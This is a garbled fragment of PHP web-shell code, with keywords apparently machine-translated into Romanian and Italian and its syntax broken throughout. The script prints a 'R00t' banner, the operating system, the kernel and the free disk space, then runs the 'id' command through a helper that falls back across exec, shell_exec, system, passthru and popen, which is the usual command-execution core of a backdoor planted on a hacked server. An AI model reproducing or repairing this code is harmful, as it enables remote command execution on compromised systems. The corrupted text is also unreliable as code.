$ dir = @ getcwd ();
ker $ = @ php_uname ();
echo "R00t
";
OS = $ @ PHP_OS;
echo "
OSTYPE: $ OS
";
echo "
Kernel: $ ker
";
$ gratuit = disk_free_space ($ dir);
daca ($ gratuit === FALSE) ($ gratuit = 0;)
daca ($ gratuit <0) ($ gratuit = 0;)
echo "Libera". view_size ($ gratuit). "
";
$ cmd = "id";
$ = eseguicmd ex ($ cmd);
echo $ eseguicmd;
functiei ex ($ CFE) (
$ res ='';
if (! gol (CFE $)) (
daca (function_exists ( "exec")) (
@ exec ($ CFE, $ res);
$ res = join ( "\ n", $ res);
)
elseif (function_exists ( "shell_exec ')) (
$ res = @ shell_exec ($ CFE);
)
elseif (function_exists ( "sistem")) (
@ ob_start ();
@ sistem ($ CFE);
$ res = @ ob_get_contents ();
@ ob_end_clean ();
)
elseif (function_exists ( "passthru ')) (
@ ob_start ();
@ passthru ($ CFE);
$ res = @ ob_get_contents ();
@ ob_end_clean ();
)
elseif (@ is_resource ($ f = @ popen ($ CFE, "r "))){
$ res = "";
while (! @ feof ($ f)) ($ res @ .= fread ($ f, 1024);)
@ pclose ($ f);
))
return $ res;
)
functiei view_size ($ size)
(
if (! is_numeric ($ size)) (return false;)
alt
(
if ($ size> = 1073741824) ($ size = round ($ size/1073741824 * 100) / 100. "GO";)
elseif ($ size> = 1048576) ($ size = round ($ size/1048576 * 100) / 100. "MB";)
elseif ($ size> = 1024) ($ size = round ($ size/1024 * 100) / 100. "KB";)
else ($ size = $ dimensiune. "B";)
return $ dimensiune;
)
)
?>